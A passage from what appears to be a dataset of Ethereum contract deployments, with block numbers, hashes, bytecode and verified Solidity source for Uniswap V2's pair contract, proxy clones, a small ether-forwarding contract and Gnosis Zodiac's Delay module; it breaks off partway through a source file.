function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
|
1 | 19,503,036 |
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|
045ece73d2628f9d05059a378536cb15a065a3225d8350d57a26dcf32c130912
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|
363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
| |
1 | 19,503,037 |
4ed14c87bcb7cf2d835b3e7819704c1c789eaa9eab198663beac95a689783090
|
cdf7cf17ddaa0c0480beea4b7af0a1fe6532a9ec853ab8842d3924d741809c2e
|
2e05a304d3040f1399c8c20d2a9f659ae7521058
|
5be1de8021cc883456fd11dc5cd3806dbc48d304
|
025983b6622d13255ab78fa2bf473244c06a5228
|
608060405273af1931c20ee0c11bea17a41bfbbad299b2763bc06000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600047905060008111156100cf576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156100cd573d6000803e3d6000fd5b505b5060b4806100de6000396000f3fe6080604052600047905060008111601557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015607b573d6000803e3d6000fd5b505000fea265627a7a72315820b3e69ef9c4f661d59ada7e4a2a73e978652e4bfd9ebdfca6642edb185642883c64736f6c63430005110032
|
6080604052600047905060008111601557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015607b573d6000803e3d6000fd5b505000fea265627a7a72315820b3e69ef9c4f661d59ada7e4a2a73e978652e4bfd9ebdfca6642edb185642883c64736f6c63430005110032
| |
1 | 19,503,045 |
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|
1a788c706f549d0334d547e1eddb12d0e9f1b3ead5a55779cf4edfb39e34db3a
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3666f8305feeb08af47db65cb7e57179bc912515
|
000000000000addb49795b0f9ba5bc298cdda236
|
6c2069b944e96645082a16645b850072d07c26b6
|
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|
363d3d373d3d3d363d73d54895b1121a2ee3f37b502f507631fa1331bed65af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"contracts/Delay.sol": {
"content": "// SPDX-License-Identifier: LGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport \"@gnosis.pm/zodiac/contracts/core/Modifier.sol\";\n\ncontract Delay is Modifier {\n event DelaySetup(\n address indexed initiator,\n address indexed owner,\n address indexed avatar,\n address target\n );\n event TransactionAdded(\n uint256 indexed queueNonce,\n bytes32 indexed txHash,\n address to,\n uint256 value,\n bytes data,\n Enum.Operation operation\n );\n\n uint256 public txCooldown;\n uint256 public txExpiration;\n uint256 public txNonce;\n uint256 public queueNonce;\n // Mapping of queue nonce to transaction hash.\n mapping(uint256 => bytes32) public txHash;\n // Mapping of queue nonce to creation timestamp.\n mapping(uint256 => uint256) public txCreatedAt;\n\n /// @param _owner Address of the owner\n /// @param _avatar Address of the avatar (e.g. a Gnosis Safe)\n /// @param _target Address of the contract that will call exec function\n /// @param _cooldown Cooldown in seconds that should be required after a transaction is proposed\n /// @param _expiration Duration that a proposed transaction is valid for after the cooldown, in seconds (or 0 if valid forever)\n /// @notice There need to be at least 60 seconds between end of cooldown and expiration\n constructor(\n address _owner,\n address _avatar,\n address _target,\n uint256 _cooldown,\n uint256 _expiration\n ) {\n bytes memory initParams = abi.encode(\n _owner,\n _avatar,\n _target,\n _cooldown,\n _expiration\n );\n setUp(initParams);\n }\n\n function setUp(bytes memory initParams) public override {\n (\n address _owner,\n address _avatar,\n address _target,\n uint256 _cooldown,\n uint256 _expiration\n ) = abi.decode(\n initParams,\n (address, address, address, uint256, uint256)\n );\n __Ownable_init();\n require(_avatar != address(0), \"Avatar can not be zero address\");\n require(_target != address(0), \"Target can not be zero address\");\n require(\n _expiration == 0 || _expiration >= 60,\n \"Expiratition must be 0 or at least 60 seconds\"\n );\n\n avatar = _avatar;\n target = _target;\n txExpiration = _expiration;\n txCooldown = _cooldown;\n\n transferOwnership(_owner);\n setupModules();\n\n emit DelaySetup(msg.sender, _owner, _avatar, _target);\n }\n\n function setupModules() internal {\n require(\n modules[SENTINEL_MODULES] == address(0),\n \"setUpModules has already been called\"\n );\n modules[SENTINEL_MODULES] = SENTINEL_MODULES;\n }\n\n /// @dev Sets the cooldown before a transaction can be executed.\n /// @param cooldown Cooldown in seconds that should be required before the transaction can be executed\n /// @notice This can only be called by the owner\n function setTxCooldown(uint256 cooldown) public onlyOwner {\n txCooldown = cooldown;\n }\n\n /// @dev Sets the duration for which a transaction is valid.\n /// @param expiration Duration that a transaction is valid in seconds (or 0 if valid forever) after the cooldown\n /// @notice There need to be at least 60 seconds between end of cooldown and expiration\n /// @notice This can only be called by the owner\n function setTxExpiration(uint256 expiration) public onlyOwner {\n require(\n expiration == 0 || expiration >= 60,\n \"Expiratition must be 0 or at least 60 seconds\"\n );\n txExpiration = expiration;\n }\n\n /// @dev Sets transaction nonce. Used to invalidate or skip transactions in queue.\n /// @param _nonce New transaction nonce\n /// @notice This can only be called by the owner\n function setTxNonce(uint256 _nonce) public onlyOwner {\n require(\n _nonce > txNonce,\n \"New nonce must be higher than current txNonce\"\n );\n require(_nonce <= queueNonce, \"Cannot be higher than queueNonce\");\n txNonce = _nonce;\n }\n\n /// @dev Adds a transaction to the queue (same as avatar interface so that this can be placed between other modules and the avatar).\n /// @param to Destination address of module transaction\n /// @param value Ether value of module transaction\n /// @param data Data payload of module transaction\n /// @param operation Operation type of module transaction\n /// @return success Whether or not the call was successfully queued for execution\n /// @notice Can only be called by enabled modules\n function execTransactionFromModule(\n address to,\n uint256 value,\n bytes calldata data,\n Enum.Operation operation\n ) public override moduleOnly returns (bool success) {\n bytes32 hash = getTransactionHash(to, value, data, operation);\n txHash[queueNonce] = hash;\n txCreatedAt[queueNonce] = block.timestamp;\n emit TransactionAdded(queueNonce, hash, to, value, data, operation);\n queueNonce++;\n success = true;\n }\n\n /// @dev Adds a transaction to the queue (same as avatar interface so that this can be placed between other modules and the avatar).\n /// @param to Destination address of module transaction\n /// @param value Ether value of module transaction\n /// @param data Data payload of module transaction\n /// @param operation Operation type of module transaction\n /// @return success Whether or not the call was successfully queued for execution\n /// @return returnData ABI encoded queue nonce (uint256), transaction hash (bytes32), and block.timestamp (uint256)\n /// @notice Can only be called by enabled modules\n function execTransactionFromModuleReturnData(\n address to,\n uint256 value,\n bytes calldata data,\n Enum.Operation operation\n )\n public\n override\n moduleOnly\n returns (bool success, bytes memory returnData)\n {\n bytes32 hash = getTransactionHash(to, value, data, operation);\n txHash[queueNonce] = hash;\n txCreatedAt[queueNonce] = block.timestamp;\n emit TransactionAdded(queueNonce, hash, to, value, data, operation);\n success = true;\n returnData = abi.encode(queueNonce, hash, block.timestamp);\n queueNonce++;\n }\n\n /// @dev Executes the next transaction only if the cooldown has passed and the transaction has not expired\n /// @param to Destination address of module transaction\n /// @param value Ether value of module transaction\n /// @param data Data payload of module transaction\n /// @param operation Operation type of module transaction\n /// @notice The txIndex used by this function is always 0\n function executeNextTx(\n address to,\n uint256 value,\n bytes calldata data,\n Enum.Operation operation\n ) public {\n require(txNonce < queueNonce, \"Transaction queue is empty\");\n uint256 txCreationTimestamp = txCreatedAt[txNonce];\n require(\n block.timestamp - txCreationTimestamp >= txCooldown,\n \"Transaction is still in cooldown\"\n );\n if (txExpiration != 0) {\n require(\n txCreationTimestamp + txCooldown + txExpiration >=\n block.timestamp,\n \"Transaction expired\"\n );\n }\n require(\n txHash[txNonce] == getTransactionHash(to, value, data, operation),\n \"Transaction hashes do not match\"\n );\n txNonce++;\n require(exec(to, value, data, operation), \"Module transaction failed\");\n }\n\n function skipExpired() public {\n while (\n txExpiration != 0 &&\n txCreatedAt[txNonce] + txCooldown + txExpiration <\n block.timestamp &&\n txNonce < queueNonce\n ) {\n txNonce++;\n }\n }\n\n function getTransactionHash(\n address to,\n uint256 value,\n bytes memory data,\n Enum.Operation operation\n ) public pure returns (bytes32) {\n return keccak256(abi.encodePacked(to, value, data, operation));\n }\n\n function getTxHash(uint256 _nonce) public view returns (bytes32) {\n return (txHash[_nonce]);\n }\n\n function getTxCreatedAt(uint256 _nonce) public view returns (uint256) {\n return (txCreatedAt[_nonce]);\n }\n}\n"
},
"@gnosis.pm/zodiac/contracts/core/Modifier.sol": {
"content": "// SPDX-License-Identifier: LGPL-3.0-only\n\n/// @title Modifier Interface - A contract that sits between a Aodule and an Avatar and enforce some additional logic.\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"../interfaces/IAvatar.sol\";\nimport \"./Module.sol\";\n\nabstract contract Modifier is Module {\n event EnabledModule(address module);\n event DisabledModule(address module);\n\n address internal constant SENTINEL_MODULES = address(0x1);\n\n // Mapping of modules\n mapping(address => address) internal modules;\n\n /*\n --------------------------------------------------\n You must override at least one of following two virtual functions,\n execTransactionFromModule() and execTransactionFromModuleReturnData().\n */\n\n /// @dev Passes a transaction to the modifier.\n /// @param to Destination address of module transaction\n /// @param value Ether value of module transaction\n /// @param data Data payload of module transaction\n /// @param operation Operation type of module transaction\n /// @notice Can only be called by enabled modules\n function execTransactionFromModule(\n address to,\n uint256 value,\n bytes calldata data,\n Enum.Operation operation\n ) public virtual moduleOnly returns (bool success) {}\n\n /// @dev Passes a transaction to the modifier, expects return data.\n /// @param to Destination address of module transaction\n /// @param value Ether value of module transaction\n /// @param data Data payload of module transaction\n /// @param operation Operation type of module transaction\n /// @notice Can only be called by enabled modules\n function execTransactionFromModuleReturnData(\n address to,\n uint256 value,\n bytes calldata data,\n Enum.Operation operation\n )\n public\n virtual\n moduleOnly\n returns (bool success, bytes memory returnData)\n {}\n\n /*\n --------------------------------------------------\n */\n\n modifier moduleOnly() {\n require(modules[msg.sender] != address(0), \"Module not authorized\");\n _;\n }\n\n /// @dev Disables a module on the modifier\n /// @param prevModule Module that pointed to the module to be removed in the linked list\n /// @param module Module to be removed\n /// @notice This can only be called by the owner\n function disableModule(address prevModule, address module)\n public\n onlyOwner\n {\n require(\n module != address(0) && module != SENTINEL_MODULES,\n \"Invalid module\"\n );\n require(modules[prevModule] == module, \"Module already disabled\");\n modules[prevModule] = modules[module];\n modules[module] = address(0);\n emit DisabledModule(module);\n }\n\n /// @dev Enables a module that can add transactions to the queue\n /// @param module Address of the module to be enabled\n /// @notice This can only be called by the owner\n function enableModule(address module) public onlyOwner {\n require(\n module != address(0) && module != SENTINEL_MODULES,\n \"Invalid module\"\n );\n require(modules[module] == address(0), \"Module already enabled\");\n modules[module] = modules[SENTINEL_MODULES];\n modules[SENTINEL_MODULES] = module;\n emit EnabledModule(module);\n }\n\n /// @dev Returns if an module is enabled\n /// @return True if the module is enabled\n function isModuleEnabled(address _module) public view returns (bool) {\n return SENTINEL_MODULES != _module && modules[_module] != address(0);\n }\n\n /// @dev Returns array of modules.\n /// @param start Start of the page.\n /// @param pageSize Maximum number of modules that should be returned.\n /// @return array Array of modules.\n /// @return next Start of the next page.\n function getModulesPaginated(address start, uint256 pageSize)\n external\n view\n returns (address[] memory array, address next)\n {\n // Init array with max page size\n array = new address[](pageSize);\n\n // Populate return array\n uint256 moduleCount = 0;\n address currentModule = modules[start];\n while (\n currentModule != address(0x0) &&\n currentModule != SENTINEL_MODULES &&\n moduleCount < pageSize\n ) {\n array[moduleCount] = currentModule;\n currentModule = modules[currentModule];\n moduleCount++;\n }\n next = currentModule;\n // Set correct size of returned array\n // solhint-disable-next-line no-inline-assembly\n assembly {\n mstore(array, moduleCount)\n }\n }\n}\n"
},
"@gnosis.pm/zodiac/contracts/interfaces/IAvatar.sol": {
"content": "// SPDX-License-Identifier: LGPL-3.0-only\n\n/// @title Zodiac Avatar - A contract that manages modules that can execute transactions via this contract.\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"@gnosis.pm/safe-contracts/contracts/common/Enum.sol\";\n\ninterface IAvatar {\n /// @dev Enables a module on the avatar.\n /// @notice Can only be called by the avatar.\n /// @notice Modules should be stored as a linked list.\n /// @notice Must emit EnabledModule(address module) if successful.\n /// @param module Module to be enabled.\n function enableModule(address module) external;\n\n /// @dev Disables a module on the avatar.\n /// @notice Can only be called by the avatar.\n /// @notice Must emit DisabledModule(address module) if successful.\n /// @param prevModule Address that pointed to the module to be removed in the linked list\n /// @param module Module to be removed.\n function disableModule(address prevModule, address module) external;\n\n /// @dev Allows a Module to execute a transaction.\n /// @notice Can only be called by an enabled module.\n /// @notice Must emit ExecutionFromModuleSuccess(address module) if successful.\n /// @notice Must emit ExecutionFromModuleFailure(address module) if unsuccessful.\n /// @param to Destination address of module transaction.\n /// @param value Ether value of module transaction.\n /// @param data Data payload of module transaction.\n /// @param operation Operation type of module transaction: 0 == call, 1 == delegate call.\n function execTransactionFromModule(\n address to,\n uint256 value,\n bytes memory data,\n Enum.Operation operation\n ) external returns (bool success);\n\n /// @dev Allows a Module to execute a transaction and return data\n /// @notice Can only be called by an enabled module.\n /// @notice Must emit ExecutionFromModuleSuccess(address module) if successful.\n /// @notice Must emit ExecutionFromModuleFailure(address module) if unsuccessful.\n /// @param to Destination address of module transaction.\n /// @param value Ether value of module transaction.\n /// @param data Data payload of module transaction.\n /// @param operation Operation type of module transaction: 0 == call, 1 == delegate call.\n function execTransactionFromModuleReturnData(\n address to,\n uint256 value,\n bytes memory data,\n Enum.Operation operation\n ) external returns (bool success, bytes memory returnData);\n\n /// @dev Returns if an module is enabled\n /// @return True if the module is enabled\n function isModuleEnabled(address module) external view returns (bool);\n\n /// @dev Returns array of modules.\n /// @param start Start of the page.\n /// @param pageSize Maximum number of modules that should be returned.\n /// @return array Array of modules.\n /// @return next Start of the next page.\n function getModulesPaginated(address start, uint256 pageSize)\n external\n view\n returns (address[] memory array, address next);\n}\n"
},
"@gnosis.pm/zodiac/contracts/core/Module.sol": {
"content": "// SPDX-License-Identifier: LGPL-3.0-only\n\n/// @title Module Interface - A contract that can pass messages to a Module Manager contract if enabled by that contract.\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"../interfaces/IAvatar.sol\";\nimport \"../factory/FactoryFriendly.sol\";\nimport \"../guard/Guardable.sol\";\n\nabstract contract Module is FactoryFriendly, Guardable {\n /// @dev Emitted each time the avatar is set.\n event AvatarSet(address indexed previousAvatar, address indexed newAvatar);\n /// @dev Emitted each time the Target is set.\n event TargetSet(address indexed previousTarget, address indexed newTarget);\n\n /// @dev Address that will ultimately execute function calls.\n address public avatar;\n /// @dev Address that this module will pass transactions to.\n address public target;\n\n /// @dev Sets the avatar to a new avatar (`newAvatar`).\n /// @notice Can only be called by the current owner.\n function setAvatar(address _avatar) public onlyOwner {\n address previousAvatar = avatar;\n avatar = _avatar;\n emit AvatarSet(previousAvatar, _avatar);\n }\n\n /// @dev Sets the target to a new target (`newTarget`).\n /// @notice Can only be called by the current owner.\n function setTarget(address _target) public onlyOwner {\n address previousTarget = target;\n target = _target;\n emit TargetSet(previousTarget, _target);\n }\n\n /// @dev Passes a transaction to be executed by the avatar.\n /// @notice Can only be called by this contract.\n /// @param to Destination address of module transaction.\n /// @param value Ether value of module transaction.\n /// @param data Data payload of module transaction.\n /// @param operation Operation type of module transaction: 0 == call, 1 == delegate call.\n function exec(\n address to,\n uint256 value,\n bytes memory data,\n Enum.Operation operation\n ) internal returns (bool success) {\n /// check if a transactioon guard is enabled.\n if (guard != address(0)) {\n IGuard(guard).checkTransaction(\n /// Transaction info used by module transactions\n to,\n value,\n data,\n operation,\n /// Zero out the redundant transaction information only used for Safe multisig transctions\n 0,\n 0,\n 0,\n address(0),\n payable(0),\n bytes(\"0x\"),\n address(0)\n );\n }\n success = IAvatar(target).execTransactionFromModule(\n to,\n value,\n data,\n operation\n );\n if (guard != address(0)) {\n IGuard(guard).checkAfterExecution(bytes32(\"0x\"), success);\n }\n return success;\n }\n\n /// @dev Passes a transaction to be executed by the target and returns data.\n /// @notice Can only be called by this contract.\n /// @param to Destination address of module transaction.\n /// @param value Ether value of module transaction.\n /// @param data Data payload of module transaction.\n /// @param operation Operation type of module transaction: 0 == call, 1 == delegate call.\n function execAndReturnData(\n address to,\n uint256 value,\n bytes memory data,\n Enum.Operation operation\n ) internal returns (bool success, bytes memory returnData) {\n /// check if a transactioon guard is enabled.\n if (guard != address(0)) {\n IGuard(guard).checkTransaction(\n /// Transaction info used by module transactions\n to,\n value,\n data,\n operation,\n /// Zero out the redundant transaction information only used for Safe multisig transctions\n 0,\n 0,\n 0,\n address(0),\n payable(0),\n bytes(\"0x\"),\n address(0)\n );\n }\n (success, returnData) = IAvatar(target)\n .execTransactionFromModuleReturnData(to, value, data, operation);\n if (guard != address(0)) {\n IGuard(guard).checkAfterExecution(bytes32(\"0x\"), success);\n }\n return (success, returnData);\n }\n}\n"
},
"@gnosis.pm/safe-contracts/contracts/common/Enum.sol": {
"content": "// SPDX-License-Identifier: LGPL-3.0-only\npragma solidity >=0.7.0 <0.9.0;\n\n/// @title Enum - Collection of enums\n/// @author Richard Meissner - <richard@gnosis.pm>\ncontract Enum {\n enum Operation {Call, DelegateCall}\n}\n"
},
"@gnosis.pm/zodiac/contracts/factory/FactoryFriendly.sol": {
"content": "// SPDX-License-Identifier: LGPL-3.0-only\n\n/// @title Zodiac FactoryFriendly - A contract that allows other contracts to be initializable and pass bytes as arguments to define contract state\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol\";\n\nabstract contract FactoryFriendly is OwnableUpgradeable {\n function setUp(bytes memory initializeParams) public virtual;\n}\n"
},
"@gnosis.pm/zodiac/contracts/guard/Guardable.sol": {
"content": "// SPDX-License-Identifier: LGPL-3.0-only\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"@gnosis.pm/safe-contracts/contracts/common/Enum.sol\";\nimport \"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol\";\nimport \"@gnosis.pm/safe-contracts/contracts/interfaces/IERC165.sol\";\nimport \"./BaseGuard.sol\";\n\n/// @title Guardable - A contract that manages fallback calls made to this contract\ncontract Guardable is OwnableUpgradeable {\n event ChangedGuard(address guard);\n\n address public guard;\n\n /// @dev Set a guard that checks transactions before execution\n /// @param _guard The address of the guard to be used or the 0 address to disable the guard\n function setGuard(address _guard) external onlyOwner {\n if (_guard != address(0)) {\n require(\n BaseGuard(_guard).supportsInterface(type(IGuard).interfaceId),\n \"Guard does not implement IERC165\"\n );\n }\n guard = _guard;\n emit ChangedGuard(guard);\n }\n\n function getGuard() external view returns (address _guard) {\n return guard;\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n function __Ownable_init() internal initializer {\n __Context_init_unchained();\n __Ownable_init_unchained();\n }\n\n function __Ownable_init_unchained() internal initializer {\n _setOwner(_msgSender());\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _setOwner(newOwner);\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n uint256[49] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract ContextUpgradeable is Initializable {\n function __Context_init() internal initializer {\n __Context_init_unchained();\n }\n\n function __Context_init_unchained() internal initializer {\n }\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n uint256[50] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol": {
